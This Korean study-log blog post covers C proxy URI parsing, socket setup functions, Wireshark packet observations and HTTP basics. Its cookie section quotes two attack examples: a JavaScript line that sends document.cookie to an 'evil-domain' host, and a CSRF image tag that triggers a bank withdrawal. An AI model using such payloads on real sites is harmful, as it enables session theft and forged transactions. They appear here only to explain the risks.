[크래프톤 정글 3기] 11/22(수) TIL

ClassBinu·2023년 11월 22일
0

크래프톤 정글 3기 TIL

목록 보기
40/120

08:09 입실
병렬 프록시 구현해 보기
네트워크 기본 개념 다시 정리


Proxy

URL 파싱

파싱해야 할 데이터

넘어오는 데이터: http://000.000.000.000:80/path/path
인데 80인 경우에는 포트 생략됨.

필요 조건

  1. http가 있으면 삭제
  2. :이 있으면 포트 번호 추출, 없으면 80포트 세팅
  3. 아이피 부분 추출
  4. 패스 부분 추출

C에서 포인터로 앞 문자 잘라버리기

이렇게 단순히 시작 포인터를 옮겨주면 문자열의 시작 부분이 달라져서 앞 부분 슬라이싱의 효과가 있다!

  if (strncmp(uri, "http://", 7) == 0)
  {
    uri += 7;
  }

이 방식을 따르면 포인터만 알면 의외로 문자 슬라이싱이 간단해지는 효과?!

이 방법으로 패스 부분도 슬라이싱 하는 거 성공!

  /* path 추출 */
  char *path_index = strchr(uri, '/');
  if (path_index)
  {
    strcpy(path, path_index);
    printf("%s\n", path);
  }

파싱 코드 혼자서 구현했음!

네트워크에서 프록시 켜서 브라우저로 접속했을 때랑 프록시 껐을 때랑 테스트 모두 성공!
근데 문제는 드라이버 테스트에서 0점이다. -_-?
이제 그거 고쳐보자..

void parse_uri(char *uri, char *hostname, char *port, char *path)
{
  strcpy(hostname, "");
  strcpy(port, "80");
  strcpy(path, "");

  /* http:// 삭제 */
  if (strncmp(uri, "http://", 7) == 0)
  {
    uri += 7;
  }

  /* path 추출 */
  char *path_index = strchr(uri, '/');
  if (path_index)
  {
    strcpy(path, path_index);
    printf("path: %s\n", path);
  }

  /* 포트 + 호스트 추출 */
  char *port_index = strchr(uri, ':');
  if (port_index)
  {
    *path_index = '\0';
    strcpy(port, port_index);
    printf("port: %s\n", port);

    *port_index = '\0';
    strcpy(hostname, uri);
    printf("host: %s\n", hostname);
  }
  else
  {
    *path_index = '\0';
    strcpy(hostname, uri);
    printf("host: %s\n", hostname);
  }
}

버그 찾기

포트에 :가 들어감!

:80포트는 생략되어서 상관없는데, 만약 포트가 다른 번호로 열리면 :다음 부분부터 포트인데 지금은 :도 포트에 넣고 있음.

/* 수정 전 */
*path_index = '\0';
strcpy(port, port_index);
printf("port: %s\n", port);

/* 수정 후 */
*path_index = '\0';
strcpy(port, port_index + 1);
printf("port: %s\n", port);

이거 하나 고치니까 40점 됐다!


Socket Code

소켓 관련 함수 연구해보기!

open_clientfd()

이 코드는 hints 구조체를 바탕으로 호스트네임과 포트를 조합해서 특정 서버와 통신할 수 있는 여러 개의 소켓 주소를 만들고, 이 소켓 주소들을 반복하면서 연결을 시도한다.
서버 측 호스트네임에 여러 아이피가 매핑되어 있을 수 있으니까, 그런 걸 다 조합해서 다양한 소켓 주소를 생성하고 접속을 시도한다.
소켓 생성이 성공하면 클라이언트 소켓 디스크립터를 반환하고 실패하면 생성한 소켓을 닫는다.

int open_clientfd(char *hostname, char *port) { /* 호스트와 포트 소켓 주소로 서버와 연결할 수 있는 클라이언트 소켓 생성 */
    int clientfd, rc; /* 소켓 디스크립터, 리턴 코드 */
    struct addrinfo hints, *listp, *p; /* 주소 힌트, 리스트 포인터, 그냥 포인터 */
    /* 힌트란 호스트와 포트를 어떻게 해석할지, 어떤 종류 주소 정보 반환할지 지정*/

    memset(&hints, 0, sizeof(struct addrinfo)); /* hints 구조체 초기화 */
    hints.ai_socktype = SOCK_STREAM;  /* TCP 소켓으로 설정 */
    hints.ai_flags = AI_NUMERICSERV;  /* 숫자형식의 포트를 씀 */
    hints.ai_flags |= AI_ADDRCONFIG;  /* 플래그 추가 옵션 */
    /* 호스트 이름과 포트 번호로 소켓 주소 정보 얻음 */
    if ((rc = getaddrinfo(hostname, port, &hints, &listp)) != 0) {
        fprintf(stderr, "getaddrinfo failed (%s:%s): %s\n", hostname, port, gai_strerror(rc));
        return -2;
    }
  
    /* 주소 정보 목록 순회 */
    for (p = listp; p; p = p->ai_next) {
        /* 소켓 생성 실패 시 다시 시도 */
        if ((clientfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0)
            continue; 

        /* 소켓 생성 성공 시 반복문 탈출*/
        if (connect(clientfd, p->ai_addr, p->ai_addrlen) != -1) 
            break;
         
        /* 생성 후 소켓 연결 실패 시 소켓 닫기*/
        if (close(clientfd) < 0) {
            fprintf(stderr, "open_clientfd: close failed: %s\n", strerror(errno));
            return -1;
        } 
    } 

    /* 목록 메모리 해제 */
    freeaddrinfo(listp);
    if (!p) /* 모든 주소 정보 연결 실패 */
        return -1;
    else    /* 클라이언트 소켓 디스크립터 반환 */
        return clientfd;
}

open_listenfd()

이 함수는 클라이언트측에서 오는 요청을 무조건 기다린다.
그래서 포트만 열고 기다리면 된다.

int open_listenfd(char *port) 
{
    struct addrinfo hints, *listp, *p;
    int listenfd, rc, optval=1; /* optval은 옵션 코드 */
    
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_socktype = SOCK_STREAM;             /* TCP 소켓 */
    hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; /* ... 주소를 서버 소켓으로 설정하는 플래그 */
    hints.ai_flags |= AI_NUMERICSERV;            /* 숫자 형식의 포트 사용 */
    /* 로컬호스트와 포트로 소켓 주소를 생성한다. */
    if ((rc = getaddrinfo(NULL, port, &hints, &listp)) != 0) {
    	/* 소켓 주소 생성에 실패하면 실패 메시지 출력한다. */
        fprintf(stderr, "getaddrinfo failed (port %s): %s\n", port, gai_strerror(rc));
        return -2;
    }

    /* 주소 리스트를 순회한다. */
    for (p = listp; p; p = p->ai_next) {
        /* 소켓 생성 실패하면 다음 주소를 살펴본다. */
        if ((listenfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) 
            continue;

        /* 소켓 옵션 설정 */
        setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&optval , sizeof(int));

        /* 생성한 소켓 디스크립터를 소켓 주소에 결합 */
        if (bind(listenfd, p->ai_addr, p->ai_addrlen) == 0)
            break; /* 성공하면 반복문 탈출 */
        if (close(listenfd) < 0) { /* 바인드 실패하면에러 출력 후 다시 종료 */
            fprintf(stderr, "open_listenfd close failed: %s\n", strerror(errno));
            return -1;
        }
    }


    /* 리스트를 해제하고 더 이상 남는 주소가 없으면 종료 */
    freeaddrinfo(listp);
    if (!p)
        return -1;

    /* 듣기 소켓을 리슨 상태로 만들고, 문제 없으면 듣기 소켓 디스크립터를 반환 */
    if (listen(listenfd, LISTENQ) < 0) {
        close(listenfd);
	return -1;
    }
    return listenfd;
}

서버 측에서는 어차피 로컬 호스트인데 여러 개의 소켓 주소를 생성할 수 있나?
예를 들어 이런 식으로 생성

IP 주소: 127.0.0.1 (로컬 호스트), 포트: 8080
IP 주소: ::1 (로컬 호스트의 IPv6 주소), 포트: 8080

socket()

socket()에 의해 생성된 소켓을 그냥 생성만 된 것, 초기화만 된 거고 읽거나 쓸 수 있는 상태가 아니다.
connect()를 통해서 서버 소켓과 연결하거나(클라이언트에서 소켓을 오픈하는 과정),
bind()를 통해 소켓 주소를 연결해주거나(여기서부터 서버측에서 소켓 오픈하는 과정),
listen()을 통해 듣기 상태로 변경하거나,
accept()를 통해 연결 소켓으로 연결해주어야 한다.


와이어샤크

3way handshake, TCP, Packet 같은 걸로 네트워크 하는 건 추상적으로 이해했음. 근데 이게 진짜 어떤 모습의 패킷으로 왔다갔다 하는지 궁금했는데 와이어샤크로 패킷을 분석할 수 있다고해서 설치 후 실행해봄.
근데 정말 공부했던 내용의 데이터가 왔다 갔다 하는 걸 볼 수 있었음!!


ARP

192.168.0.1은 공유기인 것 같음.
그게 내 아이피인 34에게 ARP 요청을 보내고,
34 호스트가 MAC 주소를 reply하는 것을 목격함!


3way handshake

패킷


HTTP

6주차 끝나기 전에 HTTP 헷갈렸던 개념들 정리해 봄.


CORS

Cross Origin Resouce Sharing
교차 출처 리소스 공유

HTTP헤더를 사용하여,
한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제

CORS는 브라우저 정책이다! 즉 브라우저가 아닌 포스트맨 같은 걸로 요청하면 CORS가 적용되지 않는다!

SOP

CORS를 이해하려면 SOP를 알아야 한다.
SOP는 동일한 출처에서만 리소스를 공유하는 브라우저 정책이다.
즉, CORS는 교차 출처를 막는 게 아니고 교차 출처를 허용하는 정책이다.

출처란?

프로토콜 + 도메인 + 포트까지가 출처

CORS를 허용하려면?

서버에서 CORS 허용 리스트에 요청 출처를 넣어주거나,
전체를 다 허용하면 된다.


HTTP 진화

HTTP/0.9

  • 원래 0.9는 없었음. 나중에 나온 버전과 비교하기 위해 초기 버전에 0.9를 붙임
  • 요청은 단일 라인
  • 요청은 GET 메서드만 있었음.
  • 응답은 파일 내용 자체만으로 구성
  • 호스트를 구분할 수 없어 로컬 리소스에 대한 접근으로 사용

요청

GET /mypage.html

응답

<html>
  A very simple HTML page
</html>

HTTP/1.0

  • 요청에 버전 정보가 붙기 시작
  • 상태코드
  • 헤더 개념 도입(메타데이터 전송)
  • Content-Type 으로 HTML외 다른 파일 전송 가능

요청 & 응답

GET /mypage.html HTTP/1.0
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)

200 OK
Date: Tue, 15 Nov 1994 08:12:31 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/html
<HTML>
A page with an image
  <IMG SRC="/myimage.gif">
</HTML>

요청 & 응답

GET /myimage.gif HTTP/1.0
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)

200 OK
Date: Tue, 15 Nov 1994 08:12:32 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/gif
(image content)

HTTP/1.1

  • 연결 재사용: 1.0에서는 요청마다 TCP 연결 해야 함.
  • 파이프라이닝: 첫 번쨰 요청 응답 전송 전 두 번째 요청 전송 가능 -> 통신 지연 시간 단축
  • 청크 응답 지원
  • 캐시 제어 메커니즘
  • 언어, 인코딩, 타입에 대한 컨텐츠 협상 도입
  • HOST 헤더 도입으로, 동일 IP 주소 서버에서 다른 도메인 호스트하는 기능 배치 가능
    (하나의 서버에서 여러 웹 서비스 운영 가능)
GET /en-US/docs/Glossary/Simple_header HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header

200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Wed, 20 Jul 2016 10:55:30 GMT
Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
Keep-Alive: timeout=5, max=1000
Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
Server: Apache
Transfer-Encoding: chunked
Vary: Cookie, Accept-Encoding

(content)

GET /static/img/header-background.png HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header

200 OK
Age: 9578461
Cache-Control: public, max-age=315360000
Connection: keep-alive
Content-Length: 3077
Content-Type: image/png
Date: Thu, 31 Mar 2016 13:34:46 GMT
Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
Server: Apache

(image content of 3077 bytes)

HTTP/2

  • 텍스트 프로토콜이 아닌 이진 프로토콜
    기존 HTTP/1.1을 텍스트로 생성가능했다면 이진 프로토콜을 읽기도 어렵고 텍스트 타이핑 형식으로 만들 수 없음.
  • 다중화 프로토콜. 동일 연결을 통해 병렬 요청 수행 가능
  • 헤더 압축
  • 서버 푸시로 클라이언트 캐시에 데이터 저장

HTTP/3

  • TCP 대신 QUIC(Quick UDP Internet Connections) 프로토콜 사용
    (QUIC는 UDP를 기반으로 실행)

HTTP 변화 요약

내가 생각하는 주요 특징!
HTTP/0.9 -> HTTP/1.0 : 헤더가 생김
HTTP/1.0 -> HTTP/1.1 : 호트스가 생김
HTTP/1.1 -> HTTP/2 : 텍스트 프로토콜이 아닌 이진 프로토콜
HTTP/2 -> HTTP/3 : TCP가 아닌 QUIC 프로토콜 사용


메시지

HTTP는 메시지로 통신한다.
메시지는 다음과 같이 구성되어 있다.

  • 시작줄
  • 옵션(HTTP 헤더)
  • 빈줄
  • 본문(본문의 존재 유무 및 크기는 첫 줄과 HTTP 헤더에 명시)

시작줄과 헤더를 요청 헤드(head)라고 하고,
페이로드를 본문(body)라고 함.

HTTP 요청

  • 시작줄: 메서드, 요청타겟(절대경로), HTTP 버전
  • 헤더: 리퀘스트 헤더, 제너럴 헤더, 리프리제테이션 헤더
  • (빈줄로 구분)
  • 바디: GET, HEAD, DELETE, OPTION처럼 리소스 가져오는 요청은 본문 필요 없음

HTTP 응답

  • 시작줄: 응답의 시작줄은 '상태줄'이라고 함.: 버전, 상태코드, 상태 텍스트
  • 헤더: 동일 구조
  • (빈줄로 구분)
  • 본문: 모든 응답에 본운이 있는 건 아님. 201, 204같은 건 보통 본문 없음.

쿠키

서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각
브라우저는 동일 서버 재 요청 시 저장된 데이터를 함께 전송
쿠키는 두 요청이 동일 브라우저에서 온건지 아닌지를 판별(대표적으로 로그인 상태 유지)

쿠키의 목적

  • 세션 관리(로그인, 장바구니 등)
  • 개인화(테마 등)
  • 트래킹(사용자 행동 분석)

모든 요청마다 쿠키가 함께 전송된다. 성능 저하 원인

쿠키 만드는 법

서버 응답 시 Set-Cookie 헤더 전송

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

그 후 동일 서버 요청 시 쿠키를 자동으로 함께 보냄.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

쿠키의 라이프타임

  1. 세션 쿠키는 현재 세션 끝나면 삭제
  2. 영속적 쿠키는 Expires 속성에 명시된 날짜에 삭제 또는 Max-Age 속성에 명시된 기간 이후 삭제
    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

보안

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Secure는 HTTPS 에서만 쿠키 전송
HttpOnly는 클라이언트에서 자바스크립트로 쿠키 제어 불가

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

세션 하이재킹

new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

CSRF(요청 위조)

쿠키가 자동으로 전송되는 점 착안

<img
  src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />

메서드

CONNECT

리소스에 대한 양방향 연결 시도

  • GET 요청 시 돌아올 헤더만 응답 요청

OPTIONS

  • 허용된 통신 옵션 요청
OPTIONS /index.html HTTP/1.1
OPTIONS * HTTP/1.1

HTTP/1.1 200 No Content
Allow: OPTIONS, GET, HEAD, POST
Cache-Control: max-age=604800
Date: Thu, 13 Oct 2016 11:45:00 GMT
Server: EOS (lax004/2813)

TRACE

클라이언트-서버 루프백테스트
해당 요청을 그대로 응답

TRACE /path/to/resource HTTP/1.1
Host: example.com

>>>>>>>>>>

HTTP/1.1 200 OK
Date: Tue, 22 Nov 2023 12:00:00 GMT
Server: ExampleServer/1.0
Content-Type: message/http

TRACE /path/to/resource HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
  • GET
  • POST
  • PUT
  • PATCH
  • DELETE

그냥 갑자기 찾아본 거

  • DNS 루트 서버는 전 세계에 13개지만 600여 개의 미러 서버가 존재함.

0개의 댓글